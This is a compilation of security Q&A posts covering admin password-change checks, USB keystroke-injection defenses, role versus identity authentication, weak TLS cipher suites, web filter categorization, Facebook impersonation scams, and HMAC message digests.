Still, the best answer is not the only answer, so I wanted to answer your actual question.  If you are going to give admin's the ability to change a user's password, whether or not you also ask them to provide their password to change the user's password depends on what you are trying to protect against.
The whole point of asking for a user's password when they change passwords is to protect against further privilege escalation if someone gets access to the user's session.  Whether it is by stolen cookies or simply waiting until someone walks away from their computer with it unlocked, an attacker who gains authenticated access to someone's account could go and change their password to make their access permanent.  Asking for the user's password before allowing a password change makes that much harder.  The attacker is still in the system, but they can't lock out the original user and can't make their access permanent.
The same rule applies here, and therefore your choice depends on how secure you want this to be.  If your admin works in the office, gets up for lunch, and leaves his computer unlocked and still logged in, then anyone could sit down and start changing user passwords.  It's even better if they can go change another admin's password - then they have permanent admin access.  Of course they could also just create another account and make themselves admin, giving themselves permanent access.
One way to prevent those kinds of attacks would be by asking the admin for their password before allowing sensitive changes (changing their password, changing another user's password, creating more admins, etc...).  Ultimately though it is up to you to decide how to balance convenience vs security for your organization.


How to prevent usb rubber ducky type of attacks on Linux? Afaik usb rubber ducky acts as a keyboard and not a regular usb, which allows it to type in hundreds of commands on any computer that it is plugged into in a matter of seconds. What are the measures we can take to prevent such type attacks from happening on the linux platform?

This would mean you do not have sufficient physical security to protect your assets. If an attacker gets access to your physical device, it's not your device anymore.

There are several things to be considered, including for instance DLP solutions to report on hardware connections. Aside from that restrictions on what type of devices can be imported into the DC as well as ensuring a 4 eye principle can help to prevent unwanted devices to be attached to your machine.

There is also another option which I have seen used before for servers holding sensitive data, which used epoxy resin in the USB ports to prevent them from being used.


Role vs Identity based authentication? What is the difference? What is the difference between role-based authentication and identity-based authentication? If a system uses ONLY a password mechanism to authenticate operators (different PIN for Admin and User) it is said to use “identity” or “role-based” authentication?

The system prompts the operator for a password (without asking for a username), then, depending on which password was entered (the User or the Admin) will offer different services for the two roles, or no services if the password does not match.

Is it true that this mechanism can be considered as identity-authentication since IDENTITY can be authenticated based only on knowledge of the PIN?

Moreover, FIPS140 security standard uses the terms "roles-based authentication" for Level 2 and "identity-based authentication" for Level 3 (http://en.wikipedia.org/wiki/FIPS_140). Is the case presented above role or identity authentication per usage in FIPS140 standard?

What are some examples of role-based authentication schemes?

Roles tend to be attached to identities, as you don't authenticate a role, but you authenticate an identity. You can authorize an identity, and you can authorize a role. I believe there might be some confusion here.

A role is an extension of the identity, and it usually works such that (for example) the user 'Admin' has the role 'Administrator'. A user with the role 'Administrator' has different rights than a user with the role 'Standard User'. Identities generally have the capability of having multiple roles, so an administrative user might have role 'Administrator' and role 'Standard User' and therefore has the rights tied to both roles.

Passwords are generally tied to identities, so you are authenticating the password against an identity. If there is no username field, the backend system doing the password validation probably has a lookup that compares all passwords (or more likely just looks up the plaintext of the password) to their associated users.

This assumes that roles are even being used though. If no roles are being used, the authorization is simply against the identity itself; e.g. if user == 'administrator' allow admin things.


Determine if cipher suite is weak I'm wondering if there is a way I can determine if a cipher suite is weak using python code. For example given this cipher suite as input: TLS_RSA_WITH_AES_256_CBC_SHA I would want my code to return the fact that it's bad because there is no forward secrecy. I'm not asking for python code, I'm just wondering if anyone knows of any good resources that I can use in order to do this (i.e an API call that can give me the score of the cipher suite and reason for scoring)

Thanks!

There is no library.

You can look at the Qualys SSL Labs rating guide (not fully updated, you need to look at their blog to see latest updates).

You can look at the source code of testssl.sh for inspiration, it tries to do the same thing.

I would just list IETF IANA cipher suite IDs that are "good" and call all the other "bad", or have "good", "ok" and "bad".

Note that testssl.sh works with openssl names, not IETF names. You may need to translate.


Why websense not allowing homepage url(youtube) but a video page? My company uses Websense, when someone goes to youtube by directly hitting url from browser
it says it's blocked due to category :Entertainment.

When someone searches for a video in google and clicks it , they can see the video , how is this possible?

If someone could say how its possible, i could make a work-around application if possible

Websense can be setup with either/or automatic and manual categorizations. In this case, I suspect that YouTube has been manually added as an "entertainment" site by your company. Video sites other than YouTube may not have been categorized.

As for creating a workaround, that's your perogative, though browsing patterns may be highlighted causing your Websense admins to apply additional filters.


Why are some people more common targets for Facebook profile impersonation than others? Earlier tonight I got a Facebook friend request from a profile that appeared to be a duplicate of my grandmother's Facebook profile, with her name and profile picture, but it was noticeably devoid of any other information to suggest that it really was my grandmother recreating her Facebook account.

That'd be bad enough by itself, but this is at least the fourth time it's happened. She's reported the scam accounts every time, but it doesn't seem to deter the scammers from trying again.

What could be making her Facebook profile particularly impersonation-prone, and how can we stop it?

Attackers are not interested in her, but rather those associated with her. It could be YOU that is the target, and she is solely being used to get to you. This is how impersonation works on the social engineering level. When I perform social engineering during penetration testing, I impersonate someone with the most solid connections to my target. For example, if my goal is to call a help-desk for a password reset, I wouldn't want to call them pretending to be a technical person, I'd pretend to be someone non-tech savvy, so I would choose perhaps a sales person - older - and I would fill the conversation with so much fluff (deflection).

So you now ask: "Why my grandmother?" Why not? Who (outside of people in the security realm) would stop to think twice about grandma, or an older individual linking up, sending a message, etc. Most would just accept, accept, accept. It's what we (most of us) do as humans, sympathize/try to be friendly.

So how do you minimize this? You can continue filing complaints, but there is little you can do to get someone to stop it from happening. Complain on Facebook enough, might minimize that attack surface, until they sprout up on say LinkedIn, or Twitter, or some other form of social media. What you CAN do if you have "the gift of gab" psychologically, is play along with it, and see what the individual wants, and use that as a warning to other family members/friends: "So this scamster pretended to be grandma. I went along with it, and he/she asked for a wire transfer... Or information about my current mortgage." Your grandmother is not the target, someone else is.


Confused with message digest definition I saw a few different definitions of message digest and i'm confused.

Message digests is a cryptography technique which uses hash functions to protect the integrity of the document/data etc.

It uses a hash function to produce a fixed length string which represents the data encoded.

Ok, i understood until here.

Here is where my doubt begins.

Does hash functions produce always the same output for the same data?

If no, how can message digest function checks for changes?

Yes, a cryptographic hash function always yields the same result for the same input.

The way hashes or digests are used is by including or packaging them with the message they are a hash of.

This permits the recipient to hash the message they receive and compare the hash or digest they get with what was sent to them.

Of course, an attacker with control over the communication channel can just substitute their own message and hash.

This is the reason for the HMAC variant of the hash operation, which provides a standard way for sender and recipient to include a secret they share in the hash operation.

An attacker who controls the communication channel but lacks the secret will not be able to fool the recipient with a replacement message and hash, because the HMAC produced digest they calculate from the attackers message with the correct secret will differ from the digest provided by the attacker.